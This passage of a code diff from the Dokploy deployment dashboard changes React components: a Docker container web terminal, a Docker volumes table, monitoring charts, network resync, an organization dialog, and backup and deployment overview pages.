const { resolvedTheme } = useTheme();
useEffect(() => {
const container = document.getElementById(id);
if (container) {
container.innerHTML = "";
if (!containerId || containerId === PLACEHOLDER_CONTAINER_ID) {
return;
}
const term = new Terminal({
cursorBlink: true,
lineHeight: 1.4,
convertEol: true,
theme: {
cursor: resolvedTheme === "light" ? "#000000" : "transparent",
background: "rgba(0, 0, 0, 0)",
foreground: "currentColor",
},
let cancelled = false;
let term: Terminal | null = null;
let ws: WebSocket | null = null;
let resizeObserver: ResizeObserver | null = null;
// Deferred a frame so React StrictMode's dev-only phantom mount+cleanup
// (which runs synchronously, before anything paints) never creates a
// terminal in the first place — dodges a known xterm.js dispose race
// (xtermjs/xterm.js#5011) where a deferred internal callback outlives
// term.dispose() and reads renderer state that's already gone.
const frame = requestAnimationFrame(() => {
if (cancelled) return;
const container = document.getElementById(id);
if (container) {
container.innerHTML = "";
}
term = new Terminal({
cursorBlink: true,
lineHeight: 1.4,
convertEol: true,
theme: {
cursor: resolvedTheme === "light" ? "#000000" : "transparent",
background: "rgba(0, 0, 0, 0)",
foreground: "currentColor",
},
});
const addonFit = new FitAddon();
const clipboardAddon = new ClipboardAddon();
term.loadAddon(clipboardAddon);
fixMacOsAltKeys(term);
// @ts-expect-error
term.open(termRef.current);
term.loadAddon(addonFit);
addonFit.fit();
const protocol = window.location.protocol === "https:" ? "wss:" : "ws:";
const wsUrl = `${protocol}//${window.location.host}/docker-container-terminal?containerId=${containerId}&activeWay=${activeWay}&cols=${term.cols}&rows=${term.rows}${serverId ? `&serverId=${serverId}` : ""}${serviceId ? `&serviceId=${serviceId}` : ""}`;
ws = new WebSocket(wsUrl);
const addonAttach = new AttachAddon(ws);
term.loadAddon(addonAttach);
const sendResize = (cols: number, rows: number) => {
if (ws && ws.readyState === WebSocket.OPEN) {
ws.send(JSON.stringify({ type: "resize", cols, rows }));
}
};
term.onResize(({ cols, rows }) => sendResize(cols, rows));
resizeObserver = new ResizeObserver(() => addonFit.fit());
if (termRef.current) {
resizeObserver.observe(termRef.current);
}
});
const addonFit = new FitAddon();
const protocol = window.location.protocol === "https:" ? "wss:" : "ws:";
const wsUrl = `${protocol}//${window.location.host}/docker-container-terminal?containerId=${containerId}&activeWay=${activeWay}${serverId ? `&serverId=${serverId}` : ""}${serviceId ? `&serviceId=${serviceId}` : ""}`;
const ws = new WebSocket(wsUrl);
const addonAttach = new AttachAddon(ws);
// @ts-ignore
term.open(termRef.current);
// @ts-ignore
term.loadAddon(addonFit);
term.loadAddon(addonAttach);
addonFit.fit();
return () => {
ws.readyState === WebSocket.OPEN && ws.close();
cancelled = true;
cancelAnimationFrame(frame);
resizeObserver?.disconnect();
if (ws && ws.readyState === WebSocket.OPEN) {
ws.close();
}
term?.dispose();
};
}, [containerId, activeWay, id]);
const hasContainer =
!!containerId && containerId !== PLACEHOLDER_CONTAINER_ID;
return (
<div className="flex flex-col gap-4">
<div className="flex flex-col gap-2 mt-4">
<span>
Select way to connect to <b>{containerId}</b>
</span>
<Tabs value={activeWay} onValueChange={setActiveWay}>
<TabsList>
<TabsTrigger value="bash">Bash</TabsTrigger>
<TabsTrigger value="sh">/bin/sh</TabsTrigger>
</TabsList>
</Tabs>
</div>
<div className="w-full h-full rounded-lg p-2 bg-transparent border">
<div id={id} ref={termRef} />
</div>
{hasContainer && (
<div className="flex flex-col gap-2 mt-4">
<span>
Select way to connect to <b>{containerId}</b>
</span>
<Tabs value={activeWay} onValueChange={setActiveWay}>
<TabsList>
<TabsTrigger value="bash">Bash</TabsTrigger>
<TabsTrigger value="sh">/bin/sh</TabsTrigger>
</TabsList>
</Tabs>
</div>
)}
{hasContainer ? (
<div className="w-full h-[420px] rounded-lg p-2 bg-transparent border">
<div id={id} ref={termRef} className="h-full" />
</div>
) : (
<div className="flex h-[420px] w-full items-center justify-center rounded-lg border border-dashed p-4 text-center text-sm text-muted-foreground">
Select a container above to open a terminal. If none are listed, make
sure the service is deployed and running.
</div>
)}
</div>
);
};

View File

@ -0,0 +1,434 @@
"use client";
import {
type ColumnDef,
flexRender,
getCoreRowModel,
getPaginationRowModel,
getSortedRowModel,
type PaginationState,
type SortingState,
useReactTable,
} from "@tanstack/react-table";
import type { inferRouterOutputs } from "@trpc/server";
import {
ArrowUpDown,
Eye,
FolderOpen,
HardDrive,
Loader2,
Trash2,
} from "lucide-react";
import { useMemo, useState } from "react";
import { toast } from "sonner";
import { FilesExplorerModal } from "@/components/dashboard/docker/files/files-explorer-modal";
import { AlertBlock } from "@/components/shared/alert-block";
import { CodeEditor } from "@/components/shared/code-editor";
import { DialogAction } from "@/components/shared/dialog-action";
import { Badge } from "@/components/ui/badge";
import { Button } from "@/components/ui/button";
import {
Card,
CardContent,
CardDescription,
CardHeader,
CardTitle,
} from "@/components/ui/card";
import {
Dialog,
DialogContent,
DialogDescription,
DialogHeader,
DialogTitle,
DialogTrigger,
} from "@/components/ui/dialog";
import { Input } from "@/components/ui/input";
import {
Table,
TableBody,
TableCell,
TableHead,
TableHeader,
TableRow,
} from "@/components/ui/table";
import type { AppRouter } from "@/server/api/root";
import { api } from "@/utils/api";
type VolumeRow =
inferRouterOutputs<AppRouter>["dockerVolume"]["getVolumes"][number];
interface Props {
serverId?: string;
}
const SIZE_UNITS: Record<string, number> = {
b: 1,
kb: 1e3,
mb: 1e6,
gb: 1e9,
tb: 1e12,
};
const parseSize = (size?: string) => {
if (!size) return -1;
const match = /^([\d.]+)\s*([a-zA-Z]+)$/.exec(size.trim());
if (!match?.[1] || !match[2]) return -1;
return Number(match[1]) * (SIZE_UNITS[match[2].toLowerCase()] ?? 1);
};
const SortableHeader = ({
column,
title,
}: {
column: {
getIsSorted: () => false | "asc" | "desc";
toggleSorting: (asc: boolean) => void;
};
title: string;
}) => (
<Button
variant="ghost"
className="-ml-3 h-8"
onClick={() => column.toggleSorting(column.getIsSorted() === "asc")}
>
{title}
<ArrowUpDown className="ml-2 size-4" />
</Button>
);
const ShowVolumeConfig = ({
volumeName,
serverId,
}: {
volumeName: string;
serverId?: string;
}) => {
const [open, setOpen] = useState(false);
const { data, isLoading, error } = api.dockerVolume.getVolumeConfig.useQuery(
{ volumeName, serverId },
{ enabled: open },
);
return (
<Dialog open={open} onOpenChange={setOpen}>
<DialogTrigger asChild>
<Button variant="ghost" size="icon-sm" aria-label="View volume config">
<Eye className="size-4" />
</Button>
</DialogTrigger>
<DialogContent className="w-full md:w-[70vw] min-w-[70vw]">
<DialogHeader>
<DialogTitle>Volume Config</DialogTitle>
<DialogDescription>
docker volume inspect output for "{volumeName}"
</DialogDescription>
</DialogHeader>
{error ? (
<AlertBlock type="error">{error.message}</AlertBlock>
) : isLoading ? (
<div className="flex flex-row gap-2 items-center justify-center py-10 text-sm text-muted-foreground">
<span>Loading...</span>
<Loader2 className="animate-spin size-4" />
</div>
) : (
<div className="text-wrap rounded-lg border p-4 overflow-y-auto text-sm bg-card max-h-[80vh]">
<code>
<pre className="whitespace-pre-wrap wrap-break-word">
<CodeEditor
language="json"
lineWrapping
lineNumbers={false}
readOnly
value={JSON.stringify(data, null, 2)}
/>
</pre>
</code>
</div>
)}
</DialogContent>
</Dialog>
);
};
export const ShowVolumes = ({ serverId }: Props) => {
const utils = api.useUtils();
const [sorting, setSorting] = useState<SortingState>([
{ id: "Name", desc: false },
]);
const [globalFilter, setGlobalFilter] = useState("");
const [pagination, setPagination] = useState<PaginationState>({
pageIndex: 0,
pageSize: 10,
});
const { data: volumes, isLoading } = api.dockerVolume.getVolumes.useQuery({
serverId,
});
const { data: sizes, isLoading: isLoadingSizes } =
api.dockerVolume.getVolumesSize.useQuery({ serverId });
const sizeByName = useMemo(
() => new Map((sizes ?? []).map((entry) => [entry.name, entry.size])),
[sizes],
);
const { mutateAsync: removeVolume } =
api.dockerVolume.removeVolume.useMutation();
const filteredData = useMemo(() => {
const list = volumes ?? [];
if (!globalFilter.trim()) {
return list;
}
const query = globalFilter.toLowerCase();
return list.filter((volume) => volume.Name.toLowerCase().includes(query));
}, [volumes, globalFilter]);
const columns = useMemo<ColumnDef<VolumeRow>[]>(
() => [
{
accessorKey: "Name",
header: ({ column }) => <SortableHeader column={column} title="Name" />,
cell: ({ row }) => (
<div
className="max-w-[280px] truncate font-medium"
title={row.original.Name}
>
{row.original.Name}
</div>
),
},
{
accessorKey: "Driver",
header: ({ column }) => (
<SortableHeader column={column} title="Driver" />
),
cell: ({ row }) => (
<Badge variant="outline">{row.original.Driver}</Badge>
),
},
{
accessorKey: "Scope",
header: ({ column }) => (
<SortableHeader column={column} title="Scope" />
),
cell: ({ row }) => (
<span className="text-muted-foreground">{row.original.Scope}</span>
),
},
{
id: "Size",
header: ({ column }) => <SortableHeader column={column} title="Size" />,
sortingFn: (a, b) =>
parseSize(sizeByName.get(a.original.Name) ?? undefined) -
parseSize(sizeByName.get(b.original.Name) ?? undefined),
cell: ({ row }) =>
isLoadingSizes ? (
<Loader2 className="size-3.5 animate-spin text-muted-foreground" />
) : (
<span className="text-muted-foreground">
{sizeByName.get(row.original.Name) ?? "-"}
</span>
),
},
{
accessorKey: "Mountpoint",
header: ({ column }) => (
<SortableHeader column={column} title="Mountpoint" />
),
cell: ({ row }) => (
<div
className="max-w-[320px] truncate font-mono text-xs text-muted-foreground"
title={row.original.Mountpoint}
>
{row.original.Mountpoint}
</div>
),
},
{
id: "actions",
enableSorting: false,
header: () => <div className="text-right">Actions</div>,
cell: ({ row }) => (
<div className="flex items-center justify-end gap-3">
<FilesExplorerModal
volumeName={row.original.Name}
serverId={serverId}
asDropdownItem={false}
>
<Button
variant="ghost"
size="icon-sm"
aria-label="Browse volume files"
>
<FolderOpen className="size-4" />
</Button>
</FilesExplorerModal>
<ShowVolumeConfig
volumeName={row.original.Name}
serverId={serverId}
/>
<DialogAction
title="Delete volume"
description={`The volume "${row.original.Name}" will be removed from Docker. This action cannot be undone.`}
onClick={async () => {
try {
await removeVolume({
volumeName: row.original.Name,
serverId,
});
toast.success("Volume deleted");
await utils.dockerVolume.getVolumes.invalidate();
} catch (error) {
toast.error("Error deleting volume", {
description:
error instanceof Error ? error.message : "Unknown error",
});
}
}}
>
<Button variant="ghost" size="icon-sm" aria-label="Delete volume">
<Trash2 className="size-4 text-destructive" />
</Button>
</DialogAction>
</div>
),
},
],
[serverId, removeVolume, utils, sizeByName, isLoadingSizes],
);
const table = useReactTable({
data: filteredData,
columns,
state: {
sorting,
pagination,
},
onSortingChange: setSorting,
onPaginationChange: setPagination,
getCoreRowModel: getCoreRowModel(),
getSortedRowModel: getSortedRowModel(),
getPaginationRowModel: getPaginationRowModel(),
});
return (
<div className="w-full">
<Card className="h-full bg-sidebar p-2.5 rounded-xl">
<div className="rounded-xl bg-background shadow-md ">
<CardHeader className="">
<CardTitle className="text-xl flex flex-row gap-2">
<HardDrive className="size-6 text-muted-foreground self-center" />
Volumes
</CardTitle>
<CardDescription>
Manage the Docker volumes of the selected server.
</CardDescription>
</CardHeader>
<CardContent className="space-y-4 py-8 border-t">
{isLoading ? (
<div className="flex flex-row gap-2 items-center justify-center text-sm text-muted-foreground min-h-[45vh]">
<span>Loading...</span>
<Loader2 className="animate-spin size-4" />
</div>
) : !volumes?.length ? (
<div className="flex min-h-[45vh] w-full flex-col items-center justify-center gap-4 rounded-lg border border-dashed p-8">
<div className="rounded-full bg-muted p-4">
<HardDrive className="size-10 text-muted-foreground" />
</div>
<div className="space-y-1 text-center">
<p className="text-sm font-medium">No volumes found</p>
<p className="max-w-sm text-sm text-muted-foreground">
Docker volumes created on this server will appear here.
</p>
</div>
</div>
) : (
<>
<div className="flex flex-wrap items-center gap-2">
<Input
placeholder="Search by name..."
value={globalFilter}
onChange={(e) => setGlobalFilter(e.target.value)}
className="max-w-xs"
/>
</div>
<div className="rounded-md border overflow-x-auto">
<Table>
<TableHeader>
{table.getHeaderGroups().map((headerGroup) => (
<TableRow key={headerGroup.id}>
{headerGroup.headers.map((header) => (
<TableHead key={header.id}>
{header.isPlaceholder
? null
: flexRender(
header.column.columnDef.header,
header.getContext(),
)}
</TableHead>
))}
</TableRow>
))}
</TableHeader>
<TableBody>
{table.getRowModel().rows?.length ? (
table.getRowModel().rows.map((row) => (
<TableRow key={row.id}>
{row.getVisibleCells().map((cell) => (
<TableCell key={cell.id}>
{flexRender(
cell.column.columnDef.cell,
cell.getContext(),
)}
</TableCell>
))}
</TableRow>
))
) : (
<TableRow>
<TableCell
colSpan={columns.length}
className="h-24 text-center text-muted-foreground"
>
No volumes match your filters.
</TableCell>
</TableRow>
)}
</TableBody>
</Table>
</div>
{table.getPageCount() > 1 && (
<div className="flex items-center justify-end gap-4">
<span className="text-sm text-muted-foreground">
Page {table.getState().pagination.pageIndex + 1} of{" "}
{table.getPageCount()}
</span>
<div className="flex gap-2">
<Button
variant="outline"
size="sm"
onClick={() => table.previousPage()}
disabled={!table.getCanPreviousPage()}
>
Previous
</Button>
<Button
variant="outline"
size="sm"
onClick={() => table.nextPage()}
disabled={!table.getCanNextPage()}
>
Next
</Button>
</div>
</div>
)}
</>
)}
</CardContent>
</div>
</Card>
</div>
);
};

View File

@ -223,7 +223,7 @@ export const ShowHome = () => {
</div>
{canReadDeployments && (
<Link
href="/dashboard/deployments"
href="/dashboard/overview?tab=deployments"
className="text-xs text-muted-foreground hover:text-foreground transition-colors"
>
view all

View File

@ -85,6 +85,7 @@ export const DockerBlockChart = ({ accumulativeData }: Props) => {
/>
<Area
type="monotone"
isAnimationActive={false}
dataKey="readMb"
stroke="var(--color-readMb)"
fill="url(#fillBlockRead)"
@ -92,6 +93,7 @@ export const DockerBlockChart = ({ accumulativeData }: Props) => {
/>
<Area
type="monotone"
isAnimationActive={false}
dataKey="writeMb"
stroke="var(--color-writeMb)"
fill="url(#fillBlockWrite)"

View File

@ -69,6 +69,7 @@ export const DockerCpuChart = ({ accumulativeData }: Props) => {
/>
<Area
type="monotone"
isAnimationActive={false}
dataKey="usage"
stroke="var(--color-usage)"
fill="url(#fillCpu)"

View File

@ -71,6 +71,7 @@ export const DockerDiskChart = ({ accumulativeData, diskTotal }: Props) => {
/>
<Area
type="monotone"
isAnimationActive={false}
dataKey="usedGb"
stroke="var(--color-usedGb)"
fill="url(#fillDiskUsed)"

View File

@ -75,6 +75,7 @@ export const DockerMemoryChart = ({
/>
<Area
type="monotone"
isAnimationActive={false}
dataKey="usage"
stroke="var(--color-usage)"
fill="url(#fillMemory)"

View File

@ -81,6 +81,7 @@ export const DockerNetworkChart = ({ accumulativeData }: Props) => {
/>
<Area
type="monotone"
isAnimationActive={false}
dataKey="inMB"
stroke="var(--color-inMB)"
fill="url(#fillNetIn)"
@ -88,6 +89,7 @@ export const DockerNetworkChart = ({ accumulativeData }: Props) => {
/>
<Area
type="monotone"
isAnimationActive={false}
dataKey="outMB"
stroke="var(--color-outMB)"
fill="url(#fillNetOut)"

View File

@ -1,5 +1,6 @@
import { formatMb } from "@dokploy/server/monitoring/units";
import { useEffect, useState } from "react";
import { toast } from "sonner";
import { Card, CardContent, CardHeader, CardTitle } from "@/components/ui/card";
import { Progress } from "@/components/ui/progress";
import { api } from "@/utils/api";
@ -167,6 +168,8 @@ export const ContainerFreeMonitoring = ({
}, [data]);
useEffect(() => {
if (!appName) return;
const protocol = window.location.protocol === "https:" ? "wss:" : "ws:";
const wsUrl = `${protocol}//${window.location.host}/listen-docker-stats-monitoring?appName=${appName}&appType=${appType}`;
const ws = new WebSocket(wsUrl);
@ -196,7 +199,9 @@ export const ContainerFreeMonitoring = ({
};
ws.onclose = (e) => {
console.log(e.reason);
if (e.reason) {
toast.error(e.reason);
}
};
return () => ws.close();

View File

@ -154,6 +154,7 @@ export const ContainerBlockChart = ({ data }: Props) => {
name="Write"
dataKey="write"
type="monotone"
isAnimationActive={false}
fill="url(#fillWrite)"
stroke="hsl(142, 71%, 45%)"
strokeWidth={2}
@ -163,6 +164,7 @@ export const ContainerBlockChart = ({ data }: Props) => {
name="Read"
dataKey="read"
type="monotone"
isAnimationActive={false}
fill="url(#fillRead)"
stroke="hsl(217, 91%, 60%)"
strokeWidth={2}

View File

@ -111,6 +111,7 @@ export const ContainerCPUChart = ({ data }: Props) => {
name="CPU"
dataKey="cpu"
type="monotone"
isAnimationActive={false}
fill="url(#fillCPU)"
stroke="hsl(var(--chart-1))"
strokeWidth={2}

View File

@ -132,6 +132,7 @@ export const ContainerMemoryChart = ({ data }: Props) => {
name="Memory"
dataKey="memory"
type="monotone"
isAnimationActive={false}
fill="url(#fillMemory)"
stroke="hsl(var(--chart-2))"
strokeWidth={2}

View File

@ -161,6 +161,7 @@ export const ContainerNetworkChart = ({ data }: Props) => {
name="Input"
dataKey="input"
type="monotone"
isAnimationActive={false}
fill="url(#fillInput)"
stroke="hsl(var(--chart-3))"
strokeWidth={2}
@ -169,6 +170,7 @@ export const ContainerNetworkChart = ({ data }: Props) => {
name="Output"
dataKey="output"
type="monotone"
isAnimationActive={false}
fill="url(#fillOutput)"
stroke="hsl(var(--chart-4))"
strokeWidth={2}

View File

@ -98,6 +98,7 @@ export function CPUChart({ data }: CPUChartProps) {
name="CPU"
dataKey="cpu"
type="monotone"
isAnimationActive={false}
fill="url(#fillCPU)"
stroke="hsl(var(--chart-1))"
strokeWidth={2}

View File

@ -115,6 +115,7 @@ export function MemoryChart({ data }: MemoryChartProps) {
yAxisId="left"
dataKey="memUsed"
type="monotone"
isAnimationActive={false}
fill="url(#fillMemory)"
stroke="hsl(var(--chart-2))"
strokeWidth={2}

View File

@ -19,6 +19,11 @@ interface NetworkChartProps {
data: any[];
}
function formatNetworkGB(valueInMB: number) {
if (Number.isNaN(valueInMB)) return "0";
return (valueInMB / 1024).toFixed(1);
}
const chartConfig = {
networkIn: {
label: "Network In",
@ -38,8 +43,8 @@ export function NetworkChart({ data }: NetworkChartProps) {
<CardHeader className="border-b py-5">
<CardTitle>Network</CardTitle>
<CardDescription>
Network Traffic: {latestData.networkOut} KB/s {" "}
{latestData.networkIn} KB/s
Network Total: {formatNetworkGB(latestData.networkOut)} GB {" "}
{formatNetworkGB(latestData.networkIn)} GB (since Boot)
</CardDescription>
</CardHeader>
<CardContent className="px-2 pt-4 sm:px-6 sm:pt-6">
@ -83,7 +88,7 @@ export function NetworkChart({ data }: NetworkChartProps) {
minTickGap={32}
tickFormatter={(value) => formatTimestamp(value)}
/>
<YAxis tickFormatter={(value) => `${value} KB/s`} />
<YAxis tickFormatter={(value) => `${formatNetworkGB(value)} GB`} />
<ChartTooltip
cursor={false}
content={({ active, payload, label }) => {
@ -105,8 +110,8 @@ export function NetworkChart({ data }: NetworkChartProps) {
Network
</span>
<span className="font-bold">
{data.networkOut} KB/s
<br /> {data.networkIn} KB/s
{formatNetworkGB(data.networkOut)} GB
<br /> {formatNetworkGB(data.networkIn)} GB
</span>
</div>
</div>
@ -120,6 +125,7 @@ export function NetworkChart({ data }: NetworkChartProps) {
name="Network In"
dataKey="networkIn"
type="monotone"
isAnimationActive={false}
fill="url(#fillNetworkIn)"
stroke="hsl(var(--chart-3))"
strokeWidth={2}
@ -128,6 +134,7 @@ export function NetworkChart({ data }: NetworkChartProps) {
name="Network Out"
dataKey="networkOut"
type="monotone"
isAnimationActive={false}
fill="url(#fillNetworkOut)"
stroke="hsl(var(--chart-4))"
strokeWidth={2}

View File

@ -34,6 +34,7 @@ export const SyncNetworks = ({ serverId }: Props) => {
const importMutation = api.network.import.useMutation();
const removeMutation = api.network.remove.useMutation();
const recreateMutation = api.network.recreate.useMutation();
const resyncMutation = api.network.resync.useMutation();
const toggleSelected = (name: string) => {
setSelected((prev) => {
@ -102,6 +103,20 @@ export const SyncNetworks = ({ serverId }: Props) => {
}
};
const onResync = async (networkId: string, name: string) => {
try {
await resyncMutation.mutateAsync({ networkId });
toast.success(`Network "${name}" updated from Docker`);
await utils.network.all.invalidate();
await utils.network.networksToSync.invalidate();
await refetch();
} catch (error) {
toast.error("Error updating network", {
description: error instanceof Error ? error.message : "Unknown error",
});
}
};
return (
<Dialog
open={open}
@ -177,6 +192,45 @@ export const SyncNetworks = ({ serverId }: Props) => {
)}
</div>
{!!data?.changed.length && (
<>
<Separator />
<div className="flex flex-col gap-2">
<span className="text-sm font-medium">
Changed ({data.changed.length})
</span>
<span className="text-xs text-muted-foreground">
These networks were deleted and recreated in Docker under
the same name attributes in Dokploy are outdated.
</span>
{data.changed.map((changed) => (
<div
key={changed.networkId}
className="flex items-center justify-between gap-3 rounded-lg border border-dashed p-3"
>
<div className="flex items-center gap-3">
<span className="text-sm">{changed.name}</span>
{changed.driver && (
<Badge variant="outline">{changed.driver}</Badge>
)}
</div>
<Button
variant="outline"
size="xs"
isLoading={resyncMutation.isPending}
onClick={() =>
onResync(changed.networkId, changed.name)
}
>
<RotateCcw className="size-3.5" />
Update
</Button>
</div>
))}
</div>
</>
)}
{!!data?.missing.length && (
<>
<Separator />

View File

@ -14,7 +14,6 @@ import {
DialogTitle,
DialogTrigger,
} from "@/components/ui/dialog";
import { DropdownMenuItem } from "@/components/ui/dropdown-menu";
import {
Form,
FormControl,
@ -49,6 +48,7 @@ export function AddOrganization({ organizationId }: Props) {
},
{
enabled: !!organizationId,
refetchOnWindowFocus: false,
},
);
const { mutateAsync, isPending } = organizationId
@ -103,16 +103,19 @@ export function AddOrganization({ organizationId }: Props) {
<Dialog open={open} onOpenChange={setOpen}>
<DialogTrigger asChild>
{organizationId ? (
<DropdownMenuItem
className="group cursor-pointer hover:bg-blue-500/10"
onSelect={(e) => e.preventDefault()}
<Button
type="button"
variant="ghost"
size="icon"
className="group hover:bg-blue-500/10"
title="Edit organization"
>
<PenBoxIcon className="size-3.5 text-primary group-hover:text-blue-500" />
</DropdownMenuItem>
</Button>
) : (
<DropdownMenuItem
className="gap-2 p-2"
onSelect={(e) => e.preventDefault()}
<button
type="button"
className="flex w-full items-center gap-2 rounded-md p-2 text-left text-sm hover:bg-accent hover:text-accent-foreground"
>
<div className="flex size-6 items-center justify-center rounded-md border bg-background">
<Plus className="size-4" />
@ -120,7 +123,7 @@ export function AddOrganization({ organizationId }: Props) {
<div className="font-medium text-muted-foreground">
Add organization
</div>
</DropdownMenuItem>
</button>
)}
</DialogTrigger>
<DialogContent className="sm:max-w-[425px]">

View File

@ -0,0 +1,254 @@
import type { OverviewBackup } from "@dokploy/server/services/overview-shared";
import { getBackupOverviewIcon } from "@dokploy/server/services/overview-shared";
import {
ArrowUpDown,
CircuitBoard,
GlobeIcon,
Loader2,
RefreshCw,
ServerIcon,
} from "lucide-react";
import Link from "next/link";
import { useMemo, useState } from "react";
import { DB_ENGINE_ICONS } from "@/components/icons/data-tools-icons";
import { Badge } from "@/components/ui/badge";
import { Button } from "@/components/ui/button";
import { Card } from "@/components/ui/card";
import {
Select,
SelectContent,
SelectItem,
SelectTrigger,
SelectValue,
} from "@/components/ui/select";
import {
Table,
TableBody,
TableCell,
TableHead,
TableHeader,
TableRow,
} from "@/components/ui/table";
import { api } from "@/utils/api";
const STATUS_VARIANT: Record<string, "default" | "destructive" | "secondary"> =
{
done: "default",
running: "secondary",
error: "destructive",
cancelled: "destructive",
};
const renderRowIcon = (row: OverviewBackup) => {
const icon = getBackupOverviewIcon(row);
if (icon.kind === "db") {
const Icon = DB_ENGINE_ICONS[icon.engine as keyof typeof DB_ENGINE_ICONS];
return Icon ? <Icon className="h-5 w-5" /> : null;
}
if (icon.kind === "webServer") {
return <ServerIcon className="h-5 w-5 text-muted-foreground" />;
}
return icon.type === "compose" ? (
<CircuitBoard className="h-5 w-5" />
) : (
<GlobeIcon className="h-5 w-5" />
);
};
const detailHref = (row: OverviewBackup) => {
if (!row.projectId || !row.environmentId || !row.serviceOwnerId) return null;
return `/dashboard/project/${row.projectId}/environment/${row.environmentId}/services/${row.serviceOwnerType}/${row.serviceOwnerId}`;
};
export const ShowOverviewBackups = () => {
const {
data: backups,
isFetching,
isFetched,
isError,
refetch,
} = api.overview.backups.useQuery(undefined, {
staleTime: Number.POSITIVE_INFINITY,
refetchOnWindowFocus: false,
});
const [destinationId, setDestinationId] = useState("all");
const [serviceOwnerId, setServiceOwnerId] = useState("all");
const [sortDirection, setSortDirection] = useState<"asc" | "desc">("desc");
const destinations = useMemo(() => {
if (!backups) return [];
const map = new Map<string, string>();
for (const row of backups) map.set(row.destinationId, row.destinationName);
return Array.from(map.entries()).map(([id, name]) => ({ id, name }));
}, [backups]);
const services = useMemo(() => {
if (!backups) return [];
const map = new Map<string, string>();
for (const row of backups) {
if (row.serviceOwnerId) map.set(row.serviceOwnerId, row.serviceName);
}
return Array.from(map.entries()).map(([id, name]) => ({ id, name }));
}, [backups]);
const rows = useMemo(() => {
if (!backups) return [];
const filtered = backups.filter(
(row) =>
(destinationId === "all" || row.destinationId === destinationId) &&
(serviceOwnerId === "all" || row.serviceOwnerId === serviceOwnerId),
);
const sorted = [...filtered].sort(
(a, b) =>
new Date(a.createdAt).getTime() - new Date(b.createdAt).getTime(),
);
return sortDirection === "asc" ? sorted : sorted.reverse();
}, [backups, destinationId, serviceOwnerId, sortDirection]);
return (
<Card className="bg-sidebar p-2.5 rounded-xl w-full">
<div className="rounded-xl bg-background shadow-md p-6 flex flex-col gap-4">
<div className="flex flex-wrap items-center gap-3 justify-between">
<h3 className="text-lg font-medium">
Backups{" "}
{isFetched && (
<span className="text-sm font-normal text-muted-foreground">
({rows.length})
</span>
)}
</h3>
<div className="flex flex-wrap items-center gap-2">
{isFetched && (
<>
<Select value={destinationId} onValueChange={setDestinationId}>
<SelectTrigger className="w-[180px]">
<SelectValue placeholder="Destination" />
</SelectTrigger>
<SelectContent>
<SelectItem value="all">All destinations</SelectItem>
{destinations.map((d) => (
<SelectItem key={d.id} value={d.id}>
{d.name}
</SelectItem>
))}
</SelectContent>
</Select>
<Select
value={serviceOwnerId}
onValueChange={setServiceOwnerId}
>
<SelectTrigger className="w-[180px]">
<SelectValue placeholder="Service" />
</SelectTrigger>
<SelectContent>
<SelectItem value="all">All services</SelectItem>
{services.map((s) => (
<SelectItem key={s.id} value={s.id}>
{s.name}
</SelectItem>
))}
</SelectContent>
</Select>
<Button
variant="outline"
size="sm"
onClick={() =>
setSortDirection((d) => (d === "desc" ? "asc" : "desc"))
}
>
<ArrowUpDown className="size-4 mr-2" />
{sortDirection === "desc" ? "Newest first" : "Oldest first"}
</Button>
</>
)}
<Button onClick={() => refetch()} disabled={isFetching} size="sm">
{isFetching ? (
<Loader2 className="size-4 animate-spin mr-2" />
) : (
<RefreshCw className="size-4 mr-2" />
)}
Refresh
</Button>
</div>
</div>
{isFetching && !isFetched && (
<div className="flex items-center justify-center gap-2 py-16 text-muted-foreground">
<Loader2 className="size-4 animate-spin" />
Loading backups...
</div>
)}
{isFetched && isError && (
<div className="flex flex-col items-center justify-center gap-2 py-16 text-muted-foreground">
<span>Failed to load backups.</span>
<Button variant="outline" size="sm" onClick={() => refetch()}>
Retry
</Button>
</div>
)}
{isFetched && !isError && rows.length === 0 && (
<div className="flex items-center justify-center py-16 text-muted-foreground">
No backups match the current filters.
</div>
)}
{isFetched && !isError && rows.length > 0 && (
<Table>
<TableHeader>
<TableRow>
<TableHead>Date</TableHead>
<TableHead>Service</TableHead>
<TableHead>Destination</TableHead>
<TableHead>Kind</TableHead>
<TableHead>Status</TableHead>
</TableRow>
</TableHeader>
<TableBody>
{rows.map((row) => {
const href = detailHref(row);
const name = href ? (
<Link href={href} className="hover:underline">
{row.serviceName}
</Link>
) : (
row.serviceName
);
return (
<TableRow key={row.deploymentId}>
<TableCell className="whitespace-nowrap text-sm">
{new Date(row.createdAt).toLocaleString()}
</TableCell>
<TableCell>
<div className="flex items-center gap-2">
{renderRowIcon(row)}
{name}
</div>
</TableCell>
<TableCell>{row.destinationName}</TableCell>
<TableCell>
<Badge variant="outline">
{row.kind === "backup" ? "Database" : "Volume"}
</Badge>
</TableCell>
<TableCell>
{row.status && (
<Badge
variant={STATUS_VARIANT[row.status] ?? "secondary"}
>
{row.status}
</Badge>
)}
</TableCell>
</TableRow>
);
})}
</TableBody>
</Table>
)}
</div>
</Card>
);
};

View File

@ -0,0 +1,77 @@
import { Rocket } from "lucide-react";
import { useRouter } from "next/router";
import { ShowDeploymentsTable } from "@/components/dashboard/deployments/show-deployments-table";
import { ShowQueueTable } from "@/components/dashboard/deployments/show-queue-table";
import {
Card,
CardDescription,
CardHeader,
CardTitle,
} from "@/components/ui/card";
import { Tabs, TabsContent, TabsList, TabsTrigger } from "@/components/ui/tabs";
const SUBTAB_VALUES = ["deployments", "queue"] as const;
type SubtabValue = (typeof SUBTAB_VALUES)[number];
const DEFAULT_SUBTAB: SubtabValue = "deployments";
function isValidSubtab(t: string): t is SubtabValue {
return SUBTAB_VALUES.includes(t as SubtabValue);
}
export const ShowOverviewDeployments = () => {
const router = useRouter();
const subtab =
typeof router.query.subtab === "string" &&
isValidSubtab(router.query.subtab)
? router.query.subtab
: DEFAULT_SUBTAB;
const setSubtab = (value: string) => {
if (!isValidSubtab(value)) return;
const { subtab: _current, ...query } = router.query;
router.replace(
{
pathname: router.pathname,
query: value === DEFAULT_SUBTAB ? query : { ...query, subtab: value },
},
undefined,
{ shallow: true },
);
};
return (
<Card className="h-full bg-sidebar p-2.5 rounded-xl min-h-[45vh]">
<div className="rounded-xl bg-background shadow-md h-full">
<CardHeader>
<div className="flex flex-col gap-2 sm:flex-row sm:items-center sm:justify-between">
<div>
<CardTitle className="text-xl font-bold flex items-center gap-2">
<Rocket className="size-5" />
Deployments
</CardTitle>
<CardDescription>
All application and compose deployments in one place.
</CardDescription>
</div>
</div>
<Tabs
value={subtab}
onValueChange={setSubtab}
className="w-full min-w-0"
>
<TabsList className="mt-2">
<TabsTrigger value="deployments">Deployments</TabsTrigger>
